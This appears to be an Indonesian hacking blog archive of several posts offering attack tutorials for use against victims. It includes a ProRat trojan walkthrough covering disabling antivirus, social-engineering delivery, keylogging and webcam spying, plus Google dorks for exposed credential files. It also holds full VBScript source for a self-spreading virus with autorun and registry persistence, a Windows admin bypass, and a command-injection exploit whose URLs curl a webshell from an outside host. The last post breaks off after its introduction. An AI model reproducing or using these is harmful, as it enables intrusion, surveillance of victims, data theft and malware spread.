Friday, 1 July 2011

Hacking dengan PRORAT

BY Putra Muharril IN No comments

Tools buatan orang Turkey ini sangat luar biasa, tools ini berfungsi untuk menyusup ke komputer orang lain. Caranya sangat gampang dan mudah sekali, tinggal kita mengetahui IP dan Port komputer korban, maka kita dapat langsung menginfeksinya.
A. Cara penggunaan ProRat
1. Pertama kali kita harus mengetahui terlebih dahulu IP dan Port korban yang terbuka. Kita dapat melakukannya dengan cara manual atau juga dengan bantuan Ports Scanner.

Dari gambar diatas kita mengetahui semua IP komputer yang aktif dan Port mana saja yang terbuka. Yang akan dijadikan korban pada percobaan kita kali ini adalah komputer dengan IP 192.162.10.233.
2. Langkah selanjutnya yaitu kita jalankan ProRat, tools ini dapat di download di http://www.prorat.net . Sebelumnya matiin dulu Anti Virus kamu (disable), karena ProRat akan terdeteksi sebagai virus. Padahal dia tidak berbahaya bagi komputer kita. Setelah itu isikan IP korban pada form IP dan Portnya (default 5110).

Apabila kita klik tombol Connect maka koneksi ke komputer korban belum bisa, karena komputer korban belum kita infeksi. Untuk menginfeksi komputer korban kita terlebih dahulu membuat server yang akan dijalankan pada komputer korban. Caranya klik tombol Create – Create Prorat Server. Lalu muncul tampilan Notifications :

Centang pilihan Use Proconnective Notifications dan isi IP(DNS)Address dengan IP kita. Pada tab General Setting kita isikan Server Port (default 5110), Server Password dan Victim Name.

Pada tab Bind with File kita dapat menyusupkan file yang akan dijalankan bersama Server. Extensi file bebas.

Selanjutnya adalah tab Server Extension, ada beberapa pilihan extensi server. Kita pilih yang berekstensi .Exe.

Untuk membuat icon server kita klik tab Server Icon, pilih icon apa saja yang kamu inginkan.

Langkah terakhir dari pembuatan server ini adalah klik Create Server.

Setelah berhasil, akan tampil :

3. Kita tinggal menjalankan Server tersebut dikomputer korban. Caranya terserah kamu… mau disusupkan diam-diam atau memakai teknik Social Engineering dan juga dapat kamu infeksikan langsung pada komputer tersebut (kalo bias sihh).
4. Setelah Server tersebut berhasil berjalan pada komputer korban, maka kita langsung mencoba mengkoneksikannya dengan komputer kita.
5. Untuk koneksi kita dapat menggunakan ProConnective atau langsung mengetikkan IP address dan Port komputer korban. ProConnective adalah tools bawaan dari ProRat yang berfungsi sebagai Bridge (jembatan koneksi) antara komputer server dan komputer client (korban). Akan nampak IP korban apabila dia sedang on.

6. Setelah berhasil melakukan koneksi ke komputer korban maka status dari ProRat akan berubah dari Disconnected ke Connected

7. Nah…saatnya kita bermain. Ada banyak hal yang dapat kita lakukan pada komputer korban seperti mengetahui informasi dari PC, mengirimkan pesan error, mematikan komputer, mengunci mouse, membuka CD-ROM atau bahkan memotret wajah korban .
8. Sekarang kita akan melihat PC info korban :

Dari gambar diatas kita dapat melihat informasi yang dimiliki dari komputer korban.
9. Kita juga dapat mengirimkan pesan error palsu ke komputer korban :

10. Memasang Keylogger.

11. Dan yang paling seru adalah melihat wajah dari korban yang kita hack.

Bagaimana seru kan? Itu masih sebagian kecil dari kegunaan ProRat masih banyak lagi fungsi lainnya, seperti memformat hardisk milik korban, mengacaukan registry, mencuri data-data penting dan lain sebagainya. Akan tetapi, dalam pembahasan kita kali ini kita cukupkan sekian saja ya. Ok !

Aneka Ragam Hacking Menggunakan Google

BY Putra Muharril IN No comments

 Jasakom - Artikel ini terinspirasi dari situs http://johnny.ihackstuff.com tentang cara mendayagunakan Google dalam mencari celah keamanan website.
Jika Google menemukan alur data yang dapat mengekspos informasi sensitif mengenai organisasi anda, Google tidak akan ragu-ragu mengindeksnya. Mesin pencari ini tidak membedakan data yang diindeknya. Apa yang sebaiknya anda lakukan jika rahasia anda bocor ke publik? Anda dapat menggunakan Google untuk keuntungan anda melalui beberapa query pencarian yang spesifik. Inspirasi contoh tersebut dapat dilihat pada artikel dari Johnny Long. Dalam artikel ini Nitesh Dhanjani (konsultan keamanan IT) ini juga akan menunjukkan kepada anda bagaimana cara menggunakan Google API untuk otomasi proses pencarian Google terhadap berbagai celah keamanan.
Default Resource
Web server seringkali diinstall sebagai halaman web. Default halaman web ini tidak menunjukkan suatu celah keamanan, tapi mereka bisa mengidentifikasi sebuah konfigurasi default web server. Para attacker mengetahui bahwa halaman default seringkali menunjukkan suatu kelemahan web server.: Jika seorang administrator tidak berusaha menghapus default halaman "welcome" tersebut, sangat dimungkinkan bahwa dia tidak memblokir service "unused" atau menambahkan patch apapun. Query Google berikut ini berguna dalam mencari instalasi default Apache.
intitle:"Test Page for Apache"
Directory Listing
Web server seringkali menyediakan daftar direktori saat sebuah file default seperti index.html tidak ada dalam direktori tersebut. Terkadang, mereka menyimpan informasi sensitif dalam direktori, seperti query sederhana berikut ini:
intitle:"Index of" admin
Query diatas akan menghasilkan URL yang berisi directory listing dari /admin. Kebanyakan, para administrator membuat direktori yang bernama admin untuk menyimpan informasi sensitif. Berikut ini query yang berguna dalam mencari directory listing:
intitle:"Index of" .htpasswd
intitle:"Index of" stats.html
intitle:"Index of" backup
intitle:"Index of" etc
intitle:"Index of" finance.xls
 

Error Messages
Error Message dari web server dan aplikasinya dapat memberikan rincian lebih jauh. Perhatikan query Google berikut ini yang menunjukkan sebuah MySQL error. argumen yang diberikan bukanlah sebuah hasil resource MySQL yang valid. Query lainnya juga dapat membongkar informasi yang menarik diantaranya:
"A syntax error has occurred" filetype:ihtml
"ORA-00921: unexpected end of SQL command"
 


Remote ServicesBesar kemungkinan untuk menemukan VNC dan Terminal Service Server melalui query berikut ini. Kebanyakan administrator mengira user eksternal tidak akan mampu menemukan URL tersebut untuk mengakses informasi perihal remote service.
"VNC Desktop" inurl:5800
intitle:"Terminal Services Web Connection"
 

Google dapat juga mencari aplikasi administratif yang memungkinkan user untuk mengkonfigurasi system secara remote. Contohnya, berikut ini cara menempatkan instalasi phpMyAdmin:
"phpMyAdmin" "running on" inurl:"main.php"
Vulnerability Report
Nessus Framework bekerja dengan baik untuk mengidentifikasi celah keamanan suatu jaringan. Tool ini dapat membuat suatu laporan HTML mengenai celah keamanan tersebut. Seringkali, laporan langsung ada dalam direktori web root, menyebabkan server melayani semua user eksternal. Sebuah laporan Nessus bisa jadi berisi rincian celah keamanan yang ada dalam jaringan organisasinya. Berikut ini query yang digunakan Google untuk menemukan laporan berupa:
"This file was generated by Nessus" "Host Vulnerability Summary Report"
google_vulns.php
Contoh query yang disajikan dalam bagian sebelumnya hanya sebagian kecil dari query yang diketahui yang dapat menemukan celah keamanan menggunakan mesin pencari Google. Script google_vulns.php yang disajikan pada bagian ini menggunakan Google API untuk mencari query yang mirip dengan yang ada diatas. (Lihat source code Google Hack #55 untuk contoh sederhana tentang teknik query dengan Google API menggunakan PHP). Membaca sebuah file teks, signatures.txt, yang berisikan query Google dan keterangannya. Script tersebut berguna untuk mendapatkan sebuah domain name sebagai sebuah parameter untuk memaksa pencarian dalam suatu organisasi domain.
File signatures.txt berisi sebuah daftar query yang dipilih, mirip dengan yang ada pada bagian sebelumnya. Setelah setiap baris yang berisi query tertentu yang ada, terdapat suatu baris yang berisi penjelasan query tersebut. Script tersebut mengiterasi melalui file signatures.txt, dan pada setiap query, pencarian Google yang dihasilkan menggunakan Google API. Script tersebut menambahkan site: domain pada setiap query. Hal ini memungkinkan script tersebut ke target domain tertentu yang diberikan, sebuah parameter yang diberikan untuk script tersebut. Jika Google mengembalikan hasil yang valid, script tersebut menampilkan URL yang dapat digunakan, sepanjang dengan keterangan dari query tersebut.
Cara menjalankan script ini:
  • Kunjungi Google Web APi dan mendaftar untuk mendapatkan sebuah account. Mereka akan meng-email anda sebuah license key.
  • Download script google_vulns.php
  • Edit script tersebut dan ubah nilai variabel $key untuk menrefrleksikan Google license key anda.
  • Download signatures.txt dan tempatkan dalam direktori yang sama dengan google_vulns.php
  • Download GoogleSearch.wsdl dan tempatkan dalam direktori yang sama dengan google_vulns.php.
  • Download nusoap.php dari NuSOAP
Sekarang jalankan google_vulns.php dari baris perintah:
[bash]$ php ./google_vulns nama_target.com
Anda boleh juga menjalankan google_vulns.php dengan tanpa restriktif domain name, seperti .edu
[bash]$ php ./google_vulns .edu
************************************************
Search string: site:.edu intitle:"Index of" service.pwd
URL: http://[removed for this article]/
Directory listing contains service.pwd file(s)
************************************************
Search string: site:.edu intitle:"Index of" admin
URL: http://[nama_target]/admin/
Directory listing yang berisi file atau direktori administratif
************************************************
************************************************
Search string: site:.edu intitle:"Index of" .htpasswd
URL: http://[nama_target]/
Directory listing yang berisi file .htpasswd
************************************************
************************************************
Search string: site:.edu intitle:"Index of" stats.html
URL: http://[nama_target]/
Directory listing yang berisi stats.html yang bisa jadi
berisikan statistik webserver yang bermanfaat
************************************************
************************************************
Search string: site:.edu intitle:"Index of" .bash_history
URL: http://[nama_target]/
Directory listing yang berisi informasi bash history
************************************************
...
...
...
Script google_vulns.php hanya merupakan sebuah implementasi proof-of-concept. Bukan multi-thread, dan menurut kebijakan Google API dibatasi hanya mengembalikan 10 hasil per query. Untuk menampilkan pencarian yang lebih mendalam, gunakan sebuah tool pengganti seperti SiteDigger
Sebagaimana yang anda lihat dari output tersebut, sangat mudah untuk menggunakan Google dalam menemukan celah keamanannya. Karena script tersebut menggunakan Google untuk mencari celah keamanan, Target yang discan tidak akan mengetahui scan tersebut sampai seseorang mengguakan sebuah URL yang dihasilkan. Hal ini menjadikan jenis scanning ini benar-benar stealth.
Security Links
Script google_vulns.php mengekspos celah keamanan yang ada, pada kebanyakan kasus, hasil dari pengabaian dan kecerobohan merupakan praktek dasar terbaik. Beberapa contoh query yang diberikan dalam bagian ini berorientasi web server yang lemah. website Apache berisikan link untuk sejumlah resource yang dapat membantu administrator melindung webserver mereka, termasuk tip keamanan Apache httpd tutorial Apache httpd. Dengan catatan, administrator seharusnya secara rutin mengaudit direktori yang melayani sebagai web root untuk menjamin ada tidaknya content yang sensitif.
Aplikasi web serharusnya juga dibawah perlindungan untuk tidak menyediakan informasi sensitif kepada user. Kebanyakan celah keamanan aplikasi web terjadi akibat praktek coding yang tidak aman. Berikut beberapa resource yang dpat emembantu developer memabahami cara mengamankan aplikasi mereka.


Remote service, seperti VNC dan Terminal Service, seharusnya tidak dapat diakses secara langsung dari Internet. Memerlukan remote user untuk otentikasi ke VPN Gateway yang menggunakan strong encryption untuk mengakses remote service.
Kesimpulan
Saat ini terdapat resource keamanan online yang gratis, tidak ada alasan yang dapat dimaafkan untuk tidak mengamankankan host yang kritis guna mencegah tereksposnya data yang sensitif. Meski material yang disajikan pada artikel ini tidak menggambarkan semua kemungkinan celah keamanan, saya harap hal ini berguna dikalangan para administrator dan end user.
Saya tegaskan sekali lagi bahwa artikel tidak menunjukkan bagaimana cara menghacking suatu webserver atau "HOW TO", saya akan berterima kasih sekali dan belajar dari anda sekalian, bila anda mau menuliskan tentang "HOW TO"-nya disini, di JASAKOM..

Cara Membuat Virus Menggunakan Visual Basic (VB)

BY Putra Muharril IN No comments

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Source: c o k e l a t n e t[dot]b l  o g s p o t[dot] c o m
Silakan Ber Eksperimen Dengan Ide-Ide yang lain, Cheers..
Jangan lupa untuk sharing kepada yang lain ya :)

JEBOL PASSWORD WINDOWS XP

BY Putra Muharril IN No comments

Mohon Maaf jika tulisan saya belepotan. Oke kita lanjut saja......
Pernah seorang teman menanyakan kepada saya, seperti ini...
Saya ndak bisa masuk sebagai administrator dalam komputer saya karena saya lupa
ama passwordnya. Tolong kasi tau dong gemana cara menghacknya...Lalu saya teringat
akan ulah saya yang suka iseng ama yang namanya komputer, hal itu saya lakukan
pada sebuah warnet yang suka membatasi usernya biar tidak bisa menginstal program
aneh.

Hehehehehe... akhirnya saya terpikir untuk menerbitkan tulisan ini karena menurut
saya bisa nambah ilmu buat mereka yang baru mengenal komputer dan windows xp
tentunya.

Oke deh kita lihat langkah-langkahnya satu persatu
eng ing eng.....

Pertama : Hidupkan kompimu (bahasa gaulnya = komputer)
Kedua : Jika sudah, tekan F8. Maka kamu akan di bawa ke mode "safe
mode"
tunggu beberapa menit
Ketiga : Tekan Ctrl + alt + Del Maka akan muncul form Login dan Password
Keempat : Isi login dengan Administrator serta passwordnya terserah anda
pokoknya passwordnya mudah di ingat oleh anda sendiri
Kelima : Jika telah melakukan hal di atas, restart kembali komputer anda
Keenam : Pilihlah start in normaly windows kalo ngga salah heheheh
Ketujuh : Tekan kembali Ctrl + Alt + Del
Kedelapan : Ketikkan nama loginnya Administrator terus password yang baru anda
ubah tadi
Kesembilan : Lihat apa yang terjadi, anda telah menjadi administrator di Kompi anda
Kesepuluh : Selesai......terserah anda mau lakukan apasaja

Semua langkah di atas sudah penulis coba dan hasilnya super manjur dan tidak
tertandingi

Teknik yang sering di gunakan para hacker dan defacer

BY Putra Muharril IN No comments


Cara cara seoarang hacker menembus ataupun menyusup dan juga merusak suatu website adalah sebagai berikut.Teknik teknik itu antara lain:

1. IP Spoofing
2. FTP Attack
3. Unix Finger Exploits
4. Flooding & Broadcasting
5. Fragmented Packet Attacks
6. E-mail Exploits
7. DNS and BIND Vulnerabilities
8. Password Attacks
9.Proxy Server Attacks
10. Remote Command Processing Attacks
11. Remote File System Attack
12. Selective Program Insertions
13. Port Scanning
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
15. HTTPD Attacks


1. IP Spoofing

IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C.

IP Spoofing terjadi ketika seorang attacker ‘mengakali’ packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker.

2. FTP Attack

Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang.

Tidak pernah atau jarang mengupdate versi server dan mempatchnya adalah kesalahan yang sering dilakukan oleh seorang admin dan inilah yang membuat server FTP menjadi rawan untuk dimasuki. Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce attack (menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff informasi yang berada dalam sistem.

3. Unix Finger Exploits

Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact.

Utility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha cracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.

4. Flooding & Broadcasting

Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya menyerah.

Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.

5. Fragmented Packet Attacks

Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol.

6. E-mail Exploits

Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).

7. DNS and BIND Vulnerabilities

Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation).

8. Password Attacks

Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password.

Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, cracking dan sniffing.

9.Proxy Server Attacks

Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.

10. Remote Command Processing Attacks

Trusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network).
Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.

11. Remote File System Attack

Protocol-protokol untuk tranportasi data –tulang punggung dari internet— adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file.

12. Selective Program Insertions

Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor.

13. Port Scanning

Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.

14.TCP/IP Sequence Stealing, Passive Port Listening and Packet

Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.

15. HTTPD Attacks

Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods.

HTTPD Buffer Overflow bisa terjadi karena attacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang attacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan attacker akses ke command prompt.

sumber: http://junkelse.blogspot.com

dan yang satu ini adalah bonus dari saya nih nemu tadi waktu lagi lari2 di mbah google

Dalam ini saya akan menjelaskan cara kerja Remote Command Execution atau biasa disebut Remote Arbitary Command Execution 

adalah bug yg memungkinkan attacker untuk menjalankan command - command secara remote melalui url. Bug ini biasanya terdapat pada aplikasi yg mnggunakan cgi. salah satu applikasi web yang memiliki vuln RCE / ACE ini adalah WebCart.


ex vuln: webcart/webcart.cgi?CONFIG=


Bagaimana mengexploitasi bug RCE ini ?

Bug RCE pada dasarnya mengambil sebuah input melalui variable yg memiliki bug tersebut. dalam hal ini "CONFIG".

Nah, dari variable yg di ambil inilah kita bisa menyisipkan command - command ke server. Command di awali dan di akhiri dengan karakter pipa "|". Command letakkan setelah nilai variable yg di ambil server. biarkan value ini tetap ada, karena mungkin terjadi error kalau tidak ada isinya.

ex:

http://www.RCE.com/webcart/webcart.cgi?CONFIG=path.html|[command]|&

melalui bug RCE, kita bebas menjalankan command - command ke server. Jadi mudah saja,semisal kita ingin memasukan webshell ke target tinggal downloadkan webshell ke server. dengan perintah : wget,lwp-download,curl, dll 


3. Langkah Kerja

3.1. mencari dir yg bisa di tulisi / writable

Code:
http://www.RCE.com/webcart/webcart.cgi?CONFIG=path.html|find+./+-type+d+-perm+777|&

'images/galley' misal ini yg keluar. maka susupkan webshell kesini

3.2. memasukan webshell. dalam contoh menggunakan perintah curl.

Code:
http://www.RCE.com/webcart/webcart.cgi?CONFIG=path.html|curl+-o+images/gallery/myshell.php+http://www.shellkamu.com/evil.php|&
http://www.RCE.com/webcart/webcart.cgi?CONFIG=path.html|chmod+755+images/gallery/myshell.php|&

3.3. webshell telah terupload

Code:
http://www.RCE.com/webcart/images/gallery/myshell.php



NB: inti dari tutorial ini [ Command - Comand di awali dan di akhiri dengan karakter pipa "|". ]

Hack BILLING WARNET ( Client Billing EXplorer )

BY Putra Muharril IN No comments

Hallo semuanya, bosan dengan teknik-teknik hacking yang itu-itu dan banyak bertebaran di internet? Kali ini saya akan memberikan sedikit tutorial hacking yang ringan dan insyaallah bisa diterapkan semua orang :D . Untuk mempelajarinya tidak sulit kok, tidak memerlukan kemampuan khusus bahkan orang awam yang baru mampir ke warnet pun bisa melakukan hal ini.
Ya, mungkin Anda berfikir cara ini adalah cara bunuh diri untuk saya. Kok mau-maunya ya seorang operator warnet mengajarkan cara untuk mengakali warnetnya sendiri? Bukan tanpa alasan, saya melakukan ini karena saya sadar ilmu adalah pemberian dari Tuhan Yang maha Esa, dan dengan menyembunyikan ilmu itu berarti saya telah mengingkari nikmat dari Tuhan. Jadi semua orang di dunia ini berhak untuk mendapatkan ilmu.
